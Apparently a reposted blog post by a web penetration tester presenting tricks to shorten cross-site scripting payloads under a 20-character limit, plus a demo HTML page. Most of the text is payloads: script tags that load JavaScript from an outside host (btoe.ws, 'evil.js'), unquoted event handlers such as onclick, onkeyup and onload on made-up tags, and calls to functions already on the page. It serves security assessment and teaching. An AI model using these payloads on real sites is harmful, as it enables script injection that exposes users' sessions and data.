天天看点

XSS Shortening Cheatsheet

In the course of a recent assessment of a web application, I ran into an interesting problem. I found XSS on a page, but the field was limited (yes, on the server side) to 20 characters. Of course I could demonstrate the problem to the client by injecting

a simple <code>&lt;b&gt;hello&lt;/b&gt;</code> into their page, but it leaves much more of an impression of severity when you can at least make an alert box.

My go to line for testing XSS is always <code>&lt;script&gt;alert(123123)&lt;/script&gt;</code>. It looks somewhat arbitrary, but I use it specifically because

<code>123123</code> is easy to grep for and will rarely show up as a false positive (a quick Google search returns

only 9 million pages containing the string <code>123123</code>). It is also nice because it doesn’t require apostrophes.

This brings me to the problem. The above string is 30 characters long and I need to inject into a parameter that will only accept up to 20 characters. There are a few tricks for shortening your

<code>&lt;script&gt;</code> tag, some more well known than others. Here are a few:

If you don’t specify a scheme section of the URL (http/https/whatever), the browser uses the current scheme. E.g.

<code>&lt;script src='//btoe.ws/xss.js'&gt;&lt;/script&gt;</code>

If you don’t specify the host section of the URL, the browser uses the current host. This is only really valuable if  you can upload a malicious JavaScript file to the server you are trying to get XSS on. Eg.

<code>&lt;script src='evil.js'&gt;&lt;/script&gt;</code>

If you are including a JavaScript file from another domain, there is no reason why its extension must be

<code>.js</code>. Pro-tip: you could even have the malicious JavaScript file be set as the index on your server… Eg.

<code>&lt;script src='http://btoe.ws'&gt;</code>

If you are using IE you don’t need to close the <code>&lt;script&gt;</code> tag (although I haven’t tested this in years and don’t have a Windows box handy). E.g.

<code>&lt;script src='http://btoe.ws/evil.js'&gt;</code>

You don’t need quotes around your <code>src</code> attribute. Eg.

<code>&lt;script src=http://btoe.ws/evil.js&gt;&lt;/script&gt;</code>

In the best case (your victim is running IE and you can upload arbitrary files to the web root), it seems that all you would need is

<code>&lt;script src=/&gt;</code>. That’s pretty impressive, weighing in at only 14 characters. Then again, when will you actually get to use that in the wild or on an assessment? More likely is that you will have to host your

malicious code on another domain. I own <code>btoe.ws</code>, which is short, but not quite as handy as some of the five letter domain names. If you have one of those, the best you could do is

<code>&lt;script src=ab.cd&gt;</code>. This is 18 characters and works in IE, but let’s assume that you want to be cross-platform and go with the 27 character option of

<code>&lt;script src=ab.cd&gt;&lt;/script&gt;</code>. Thats still pretty short, but we are back over my 20 character limit.

Time to give up? I think not.

Another option is to forgo the <code>&lt;script&gt;</code> tag entirely. After all, ‘script’ is such a long word… There are many one letter HTML tags that accept event handlers.

<code>onclick</code> and <code>onkeyup</code> are even pretty short. Here are a couple more tricks:

You can make up your own tags! E.g. <code>&lt;x onclick="alert(1)"&gt;foo&lt;/x&gt;</code>

If you don’t close your tag, some events will be inherited by the rest of the page following your injected code. E.g.

<code>&lt;x onclick='alert(1)'&gt;</code>.

You don’t need to wrap your code in quotes. Eg. <code>&lt;b onclick=alert(1)&gt;foo&lt;/b&gt;</code>

If the page already has some useful JavaScript (think JQuery) loaded, you can call their functions instead of your own. Eg. If they have a function defined as

<code>function a(){alert(1)}</code> you can simply do

<code>&lt;b onclick='a()'&gt;foo&lt;/b&gt;</code>

While <code>onclick</code>and <code>onkeyup</code>are short when used with <code>&lt;b&gt;</code> or a custom tag, they aren’t going to fire without user interaction. The

<code>onload</code> event of the <code>&lt;body&gt;</code> tag on the other hand will. I think that having duplicate <code>&lt;body&gt;</code> tags might not work

on all browsers, though.  E.g. <code>&lt;body onload='alert(1)'&gt;</code>

Putting these tricks together, our optimal solution (assuming they have a one letter function defined that does exactly what we want) gives us

<code>&lt;b onclick=a()&gt;</code>. Similar to the unrealistically good

<code>&lt;script&gt;</code> tag example from above, this comes in at 14 characters. A more realistic and useful line might be

<code>&lt;b onclick=alert(1)&gt;</code>. This comes it at exactly 20 characters, which is within my limit.

This worked for me, but maybe 20 characters is too long for you. If you really have to be a minimalist, injecting the

<code>&lt;b&gt;</code> tag into the page is the smallest thing I can think of that will affect the page without raising too many errors. Slightly more minimalistic than that would be to simply inject

<code>&lt;</code>. This would likely break the page, but it would at least be noticable and would prove your point.

This article is by no means intended to provide the answer, but rather to ask a question. I ask, or dare I say

challenge, you to find a better solution than what I have shown above. It is also worth noting that I tested most of this on recent versions of Firefox and Chrome, but no other browsers. I am using a Linux box and don’t have access to much else at

the moment. If you know that some of the above code does not work in other browsers, please comment bellow and I will make an edit, but please don’t tell me what does and does not work in lynx.

If you want to see some of these in action, copy the following into a file and open it in your your browser or go to

Edit: albinowax points out that onblur is shorter than onclick or onkeyup.

<code>&lt;html&gt; &lt;head&gt; &lt;title&gt;xss example&lt;/title&gt; &lt;script&gt; //my awesome js function a(){alert(1)} &lt;/script&gt; &lt;/head&gt; &lt;body&gt;</code>

&lt;!-- XSS Injected here --&gt;

&lt;x onclick=alert(1)&gt;

&lt;b onkeyup=alert(1)&gt;

&lt;x onclick=a()&gt;

&lt;b onkeyup=a()&gt;

&lt;body onload=a()&gt;

&lt;!-- End XSS Injection --&gt;

&lt;h1&gt;XSS ROCKS&lt;/h1&gt;

&lt;p&gt;click me&lt;/p&gt;

&lt;form&gt;

&lt;input value='try typing in here'&gt;

&lt;/form&gt;

&lt;/body&gt;

&lt;/html&gt;